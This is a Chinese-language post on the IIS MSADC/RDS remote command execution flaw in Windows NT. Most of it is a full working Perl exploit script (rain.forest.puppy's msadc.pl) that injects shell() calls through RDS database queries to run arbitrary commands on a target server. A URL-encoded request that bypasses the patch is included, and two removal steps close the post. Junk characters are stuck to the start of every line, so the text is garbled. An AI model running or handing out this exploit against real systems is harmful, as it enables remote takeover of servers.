IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#$07:UJ A2Ed0|B y 涉及程序:
z (wc0I Microsoft NT server
x.6:<y ibk6|pp 描述:
>Eto(
y"q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
K#d`Hyx ;(Or`u]Dr 详细:
9ULQrq$? 如果你没有时间读详细内容的话,就删除:
S!CC
}3zw c:\Program Files\Common Files\System\Msadc\msadcs.dll
CAWNDl4 有关的安全问题就没有了。
qS$Ox?Bw#u (NU
NHxi5B 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
V! A~K
`5.'_3 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Qx#"q '2 关于利用ODBC远程漏洞的描述,请参看:
=z69e%. `p-cSxR_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %p=M; G`61~F% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
:Yh+>c}N http://www.microsoft.com/security/bulletins/MS99-025faq.asp UKvW Jnz xGg )Y# 这里不再论述。
F^BS/Yag Qbn"=n2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
lvz7#f L~ `iNSr?N. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P
l]O\vh 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5c0 ZRV# \ :sUL! @o _}g !9= #将下面这段保存为txt文件,然后: "perl -x 文件名"
mR:uj2* HyZqUbHa #!perl
=s2*H8] #
osAd1<EIC # MSADC/RDS 'usage' (aka exploit) script
*)T^ChD, #
>*_$]E # by rain.forest.puppy
4F'LBS]=0 #
Jhhb7uU+ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7,o7Cf2 z # beta test and find errors!
`?_Q5lp/s $|@@Qk/T use Socket; use Getopt::Std;
<0&*9ZeD getopts("e:vd:h:XR", \%args);
xF'EiX ~ q
dBrQC print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zKJ#`OhT )23H1 if (!defined $args{h} && !defined $args{R}) {
[D4SW# print qq~
)'#A$ Fj Usage: msadc.pl -h <host> { -d <delay> -X -v }
WlC:l -h <host> = host you want to scan (ip or domain)
k"iOB-@B+ -d <seconds> = delay between calls, default 1 second
?mxMk6w -X = dump Index Server path table, if available
'8H4shYg -v = verbose
X51: -e = external dictionary file for step 5
Fj3a.' /]Md~=yNp Or a -R will resume a command session
h2]P]@nW;W xj;H&swo ~; exit;}
~IBP|)WA- qiBVGH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:>f )g if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
FbFPJ !fb if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
37.S\gO] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
K;H&n1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
YfKdR"i+. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
nT$SfGFj8 WO>nIo5Y if (!defined $args{R}){ $ret = &has_msadc;
rcG"o\g@+ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s$`0yGmQ D'PI1
0t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
c]o'xd,T8\ . "cmd /c ";
{]@= ijjf $in=<STDIN>; chomp $in;
=K[yT: $command="cmd /c " . $in ;
[<yaXQxl P{>!5|k if (defined $args{R}) {&load; exit;}
>jLY" O-hAFKx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
L\ "d &try_btcustmr;
>tV{Pd1 sBg.u print "\nStep 2: Trying to make our own DSN...";
%pL''R9VF &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S g![Lsj .g<DD)` print "\nStep 3: Trying known DSNs...";
z,p~z*4 &known_dsn;
0pd'93C 3~{:`[0Q print "\nStep 4: Trying known .mdbs...";
p6Gy,C. &known_mdb;
H40p86@M *P=VFP if (defined $args{e}){
E4/Dr}4 print "\nStep 5: Trying dictionary of DSN names...";
xOmi\VbM &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
mNTzUoZF'@ <<5(0#y# print "Sorry Charley...maybe next time?\n";
m&,(Jla exit;
`d`T*_ ^Y \"}D ##############################################################################
qfm|@v|De5 K?1W!fY sub sendraw { # ripped and modded from whisker
/7F:T[ sleep($delay); # it's a DoS on the server! At least on mine...
_Q 4)X)F my ($pstr)=@_;
dcN22A3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%l[( Iw die("Socket problems\n");
E]-/Zbvdv if(connect(S,pack "SnA4x8",2,80,$target)){
>}i E( select(S); $|=1;
hnhd{$2Z print $pstr; my @in=<S>;
JjTegQN select(STDOUT); close(S);
e6$W Qd`O return @in;
<`r>h } else { die("Can't connect...\n"); }}
\Uq(Zga4) SoK
iE ##############################################################################
cR<fJ[* BW*rIn<?G sub make_header { # make the HTTP request
"@0]G<H
my $msadc=<<EOT
+iRh POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/7^4O(iG User-Agent: ACTIVEDATA
yN(%-u" Host: $ip
hhc,uJ">! Content-Length: $clen
R-d:j^:f Connection: Keep-Alive
o]oum,Q y766;
X:J ADCClientVersion:01.06
lq;Pch Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8'io$6d= v`Oc, --!ADM!ROX!YOUR!WORLD!
c,+:i1IAy Content-Type: application/x-varg
'I6i,+D/q Content-Length: $reqlen
M%P:n/j ,w4V?>l EOT
aj{Y\
3L ; $msadc=~s/\n/\r\n/g;
m~0/&RA return $msadc;}
$B5aje}i tFOhL9T ##############################################################################
w+u3*/Zf Txb#C[` sub make_req { # make the RDS request
|t#)~Oo my ($switch, $p1, $p2)=@_;
j{+.tIzpq[ my $req=""; my $t1, $t2, $query, $dsn;
GH$ pKB [5Mr@f4I if ($switch==1){ # this is the btcustmr.mdb query
,(^*+G.i $query="Select * from Customers where City=" . make_shell();
ope^~+c~\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~dTrf>R8M $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
z_4J)?3 e8?jmN`2 elsif ($switch==2){ # this is general make table query
YO}<Ytx $query="create table AZZ (B int, C varchar(10))";
M&9+6e'-F $dsn="$p1";}
60?%<oJ oH
HvJs1)Wo& elsif ($switch==3){ # this is general exploit table query
_
*Pf $query="select * from AZZ where C=" . make_shell();
+Q"4Migbe@ $dsn="$p1";}
VQOezQs\ >@
. elsif ($switch==4){ # attempt to hork file info from index server
z[qDkL $query="select path from scope()";
3{sVVq5Y $dsn="Provider=MSIDXS;";}
T'Dv.h [2M'PT3 elsif ($switch==5){ # bad query
wgGl[_) $query="select";
Y\g3hM $dsn="$p1";}
uiR8,H9*M 3"~!nn0; $t1= make_unicode($query);
07{)?1cod4 $t2= make_unicode($dsn);
t&e{_|i#+ $req = "\x02\x00\x03\x00";
}a(dyr`S $req.= "\x08\x00" . pack ("S1", length($t1));
<bEbweQrgm $req.= "\x00\x00" . $t1 ;
m
GYoM $req.= "\x08\x00" . pack ("S1", length($t2));
k!'a,R: $req.= "\x00\x00" . $t2 ;
,/|T-Ka $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
m#\dSl} return $req;}
QD]6C2j* ]Gq !`O1 ##############################################################################
ml
}{|Yz z9Rp`z&`E sub make_shell { # this makes the shell() statement
U9MxI%tb return "'|shell(\"$command\")|'";}
((M>s&\y*Y AFE~
v\Gz ##############################################################################
d<P\&!R( hv>\gBe i sub make_unicode { # quick little function to convert to unicode
Qj3EXb my ($in)=@_; my $out;
mxdr,Idx for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
O)r4?<Q return $out;}
WOL:IZX% L$M9w ##############################################################################
OYn}5RN FXkM#}RgNm sub rdo_success { # checks for RDO return success (this is kludge)
> /caXvS my (@in) = @_; my $base=content_start(@in);
"oO%`:pb if($in[$base]=~/multipart\/mixed/){
/jJw0 5;L return 1 if( $in[$base+10]=~/^\x09\x00/ );}
FJ)$f?=Qd return 0;}
n,WqyNt* s`~IUNJ@P ##############################################################################
gV_}-VvP 4~Q/"hMSkO sub make_dsn { # this makes a DSN for us
>}6%#CAf my @drives=("c","d","e","f");
draN0vf print "\nMaking DSN: ";
St*h>V6 foreach $drive (@drives) {
PB\x3pV!} print "$drive: ";
u.xnO cOH! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\(2sW^fY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
sD#.Oq4&]y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,r\o}E2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
YS"=yye3e return 0 if $2 eq "404"; # not found/doesn't exist
P71Lqy)5}A if($2 eq "200") {
"S?z@i(K^ foreach $line (@results) {
WNrk}LFof return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C!bUI8x
z } return 0;}
E+;7>ja </*6wpN ##############################################################################
h2fNuu" }:)&u|d_ sub verify_exists {
ePo}y])2 my ($page)=@_;
gc$l^`+M my @results=sendraw("GET $page HTTP/1.0\n\n");
O3kA;[f; return $results[0];}
k~w*W X' ]~3V}z,T* ##############################################################################
-6B4sZpzD h(EhkCf sub try_btcustmr {
+T Dw+ my @drives=("c","d","e","f");
6qnzBA7 my @dirs=("winnt","winnt35","winnt351","win","windows");
c9h6C Wvf
^N( foreach $dir (@dirs) {
C1QA)E['V print "$dir -> "; # fun status so you can see progress
0flRh)[J foreach $drive (@drives) {
z-)O9PV print "$drive: "; # ditto
1yu4emye4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[` 7ThHX $reqlenlen=length( "$reqlen" );
wz%NbLy- $clen= 206 + $reqlenlen + $reqlen;
*gWwALGo5 $-sHWYZ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?gGHj-HYJ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{R6ZKB else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$6SW;d+>n R8'RA%O9J ##############################################################################
Ds:'Lb rFL;'Cj@ sub odbc_error {
j&qub_j"xX my (@in)=@_; my $base;
}*]-jWt1J\ my $base = content_start(@in);
gRcQt : if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
g`QEu
5v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[d]9Oa4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3h`f 6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]~siaiN[ return $in[$base+4].$in[$base+5].$in[$base+6];}
9XB 8VKu8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[/8%3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
nAdf=D'P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$f7l34Sf3 u]UOSf n ##############################################################################
'TB2:W3 _X
x/(.O sub verbose {
13x p_j my ($in)=@_;
`VguQl_,gA return if !$verbose;
Otn1wBI print STDOUT "\n$in\n";}
1bwOmhkS ^^ixa1H< ##############################################################################
CRy|kkT $
$mV d+ sub save {
5`p.#
my ($p1, $p2, $p3, $p4)=@_;
;;/{xvQ.1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;9QEK]@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|P?*5xPB close OUT;}
AFwdJte9e jAlv`uB|G" ##############################################################################
%d9uTm; eTcd"Kd/ sub load {
S3Jo>jXS " my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{E|$8)58i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
(TT}6j @p=<IN>; close(IN);
\ @2R9,9E $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
pOoEI+t $target= inet_aton($ip) || die("inet_aton problems");
DZtsy!xA print "Resuming to $ip ...";
S{T >}'y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]3Sp W{=^( if($p[1]==1) {
q'Pf] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
7;@]t^d=$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8zW2zkv2|# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+9sQZB# ( if (rdo_success(@results)){print "Success!\n";}
[j+sC* else { print "failed\n"; verbose(odbc_error(@results));}}
l9Q-iJ elsif ($p[1]==3){
~})e?q;b if(run_query("$p[3]")){
(X*^dO print "Success!\n";} else { print "failed\n"; }}
MkXmA`cP elsif ($p[1]==4){
Y(Hs #Kn{ if(run_query($drvst . "$p[3]")){
'PW5ux@`< print "Success!\n"; } else { print "failed\n"; }}
*.w9c exit;}
Z6MO^_m2 O+x!Bg7 ##############################################################################
+X
88;- yyTnL 2Y9 sub create_table {
/PXzwP_(A my ($in)=@_;
G7/ +ogV $reqlen=length( make_req(2,$in,"") ) - 28;
2&J)dtqz $reqlenlen=length( "$reqlen" );
{Ou1KDy#) $clen= 206 + $reqlenlen + $reqlen;
}3WxZv]I} my @results=sendraw(make_header() . make_req(2,$in,""));
5L}/&^E#p return 1 if rdo_success(@results);
W=+ Y|R! my $temp= odbc_error(@results); verbose($temp);
m+z&Q return 1 if $temp=~/Table 'AZZ' already exists/;
=~LJ3sIX return 0;}
Z*6IW7# ":N9(}9 ##############################################################################
t\O16O7S 4Ftu sub known_dsn {
N!tX<u~2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C~exi[3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
rEz^ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
AbW6x "banner", "banners", "ads", "ADCDemo", "ADCTest");
+R75v ) #}5uno foreach $dSn (@dsns) {
FW DNpr print ".";
}"%N4(Kd next if (!is_access("DSN=$dSn"));
M&M6;Ph if(create_table("DSN=$dSn")){
_
jlRlt print "$dSn successful\n";
P@~yx#G if(run_query("DSN=$dSn")){
0#gK6o! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b"
[|:F>P print "Something's borked. Use verbose next time\n";}}} print "\n";}
"_?nN"A7 pEz_qy[# ##############################################################################
_+3::j~;m MomwX sub is_access {
$3kH~3{] my ($in)=@_;
<9b&<K: $reqlen=length( make_req(5,$in,"") ) - 28;
es0hm2HT3 $reqlenlen=length( "$reqlen" );
V>3X\)qu $clen= 206 + $reqlenlen + $reqlen;
XQw9~$ my @results=sendraw(make_header() . make_req(5,$in,""));
)0k53-h& my $temp= odbc_error(@results);
}c:M^Ff verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3Tm+g2w2V8 return 0;}
d2L&Z_} I)HPO,7 ##############################################################################
3=V&K- 'dc#F3 sub run_query {
1Ai^cf:S my ($in)=@_;
b%c9oR's^ $reqlen=length( make_req(3,$in,"") ) - 28;
o^wqFX(Y $reqlenlen=length( "$reqlen" );
tfWS)y7 $clen= 206 + $reqlenlen + $reqlen;
%\:Wi#w> my @results=sendraw(make_header() . make_req(3,$in,""));
{id4:^u&; return 1 if rdo_success(@results);
u)Whr@m my $temp= odbc_error(@results); verbose($temp);
8H`[*|{' return 0;}
]hV*r@d <%mRSv ##############################################################################
9;If&uM uhq8 sub known_mdb {
,<X9 Y2B my @drives=("c","d","e","f","g");
|6y my @dirs=("winnt","winnt35","winnt351","win","windows");
Rf% a'b my $dir, $drive, $mdb;
"$vRMpW: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0<*<$U Vi|#@tC' # this is sparse, because I don't know of many
{Y1Ck5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
tpx2IE "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
HjwE+: w "\\system32\\certmdb.mdb",
b7ZSPXV "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
NwfVL4Xg sa8Vvzvo. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
PQE=D0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
DVeE1Q "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2B`JGFcdcB "\\cfusion\\cfapps\\security\\realm_.mdb",
\GU<43J2uo "\\cfusion\\cfapps\\security\\data\\realm.mdb",
b\5F ]r "\\cfusion\\database\\cfexamples.mdb",
!bP@n "\\cfusion\\database\\cfsnippets.mdb",
{K!)Ss "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o{[qZc_% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Wa~=bH "\\cfusion\\brighttiger\\database\\cleam.mdb",
o}{5iTg= "\\cfusion\\database\\smpolicy.mdb",
!dT4 "\\cfusion\\database\cypress.mdb",
5~S5F3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-tU'yKhn "\\website\\cgi-win\\dbsample.mdb",
?&uu[y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=i3n42M# "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!ubD/KE ); #these are just
dQG=G%W foreach $drive (@drives) {
2 ? 4!K. foreach $dir (@dirs){
\}G^\p6?M foreach $mdb (@sysmdbs) {
.A|@?p[ print ".";
:Iz8aQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
WfRXP^a print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3iU=c&P if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Qv ?"b print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#s9aI_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
<{cQ2 CNx8]
_2 foreach $drive (@drives) {
BL4-7 foreach $mdb (@mdbs) {
-7|H}!DFT print ".";
$Z>'Jp if(create_table($drv . $drive . $dir . $mdb)){
o;RI*I print "\n" . $drive . $dir . $mdb . " successful\n";
A<fG}q1# if(run_query($drv . $drive . $dir . $mdb)){
8l">cVo]T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[.}oyz;}N } else { print "Something's borked. Use verbose next time\n"; }}}}
;O#>Y }
T6kdS]4- ]K%!@O! ##############################################################################
]JR +ayk7 M'l ;: sub hork_idx {
OB}Ib] print "\nAttempting to dump Index Server tables...\n";
bQ5\ ]5M print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
aQI(Y^&%3 $reqlen=length( make_req(4,"","") ) - 28;
BLJj(- $reqlenlen=length( "$reqlen" );
wS3'?PRX $clen= 206 + $reqlenlen + $reqlen;
a09<!0Rp my @results=sendraw2(make_header() . make_req(4,"",""));
9Gz=lc[!7 if (rdo_success(@results)){
>5SSQ\ 2~a my $max=@results; my $c; my %d;
lUMdrt0@z for($c=19; $c<$max; $c++){
q75s#[<ap $results[$c]=~s/\x00//g;
Yoll?_k+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x$(f7?s] 1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8a"%0d# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
xe$_aBU $d{"$1$2"}="";}
ft
Wv~Eh foreach $c (keys %d){ print "$c\n"; }
EB|}fz } else {print "Index server doesn't seem to be installed.\n"; }}
[1H^3g
' -|9=P\U8S ##############################################################################
\lNN Msd& v(%*b,^
sub dsn_dict {
|e0`nn= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
/_ajaz% while(<IN>){
A+?`?pOm& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Uoix next if (!is_access("DSN=$dSn"));
BfiD9ka-z if(create_table("DSN=$dSn")){
~7Ux@Sx; print "$dSn successful\n";
yEQs:v6L~ if(run_query("DSN=$dSn")){
/2VJX@h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
FXU8[j0P_G print "Something's borked. Use verbose next time\n";}}}
Qe(:|q_ print "\n"; close(IN);}
ku
M$UYTTX h!9ei6 ##############################################################################
_u9Jxw?F@Y }l9llu sub sendraw2 { # ripped and modded from whisker
T&7qC=E#5 sleep($delay); # it's a DoS on the server! At least on mine...
zp?`N; my ($pstr)=@_;
11;zNjD| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@`Su0W+. die("Socket problems\n");
+8ZF"{y if(connect(S,pack "SnA4x8",2,80,$target)){
#A8sLkY print "Connected. Getting data";
Y`wSv NU open(OUT,">raw.out"); my @in;
8*a&Jl select(S); $|=1; print $pstr;
`~q <N while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
r9G>jiw8 close(OUT); select(STDOUT); close(S); return @in;
P{^6v=8) } else { die("Can't connect...\n"); }}
o#1 $q`Z Eu04e N ##############################################################################
seeBS/% ~4cC/"q$X sub content_start { # this will take in the server headers
{H'Y `+ my (@in)=@_; my $c;
o*hF<D$Y for ($c=1;$c<500;$c++) {
FHI ;)wn= if($in[$c] =~/^\x0d\x0a/){
ENY+^7 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
BTrn0 else { return $c+1; }}}
,UE83j8D^ return -1;} # it should never get here actually
)dd@\n$6 %D "I ##############################################################################
aC)!T 8, >P sub funky {
63 B?. my (@in)=@_; my $error=odbc_error(@in);
A&jlizN7 if($error=~/ADO could not find the specified provider/){
E8&TO~"a]e print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,
++ `=o exit;}
ufT`"i if($error=~/A Handler is required/){
m&yJzMW| print "\nServer has custom handler filters (they most likely are patched)\n";
'1/i"yoW exit;}
|$_sX9\`?| if($error=~/specified Handler has denied Access/){
@U}1EC{A print "\nServer has custom handler filters (they most likely are patched)\n";
H}
g{Cr"Ex exit;}}
|LKXOU
c DM>eVS3} ##############################################################################
VVOd]2{ 3sZ\0P} sub has_msadc {
,s;UfF my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
5l*&>C[(i my $base=content_start(@results);
G,w(d@ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Thit return 0;}
VY\&8n}e( SasJic2M ########################
R{T$[$6S Xla~Yg 65^9 解决方案:
_:27]K: 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
x-3\Ls[I 2、移除web 目录: /msadc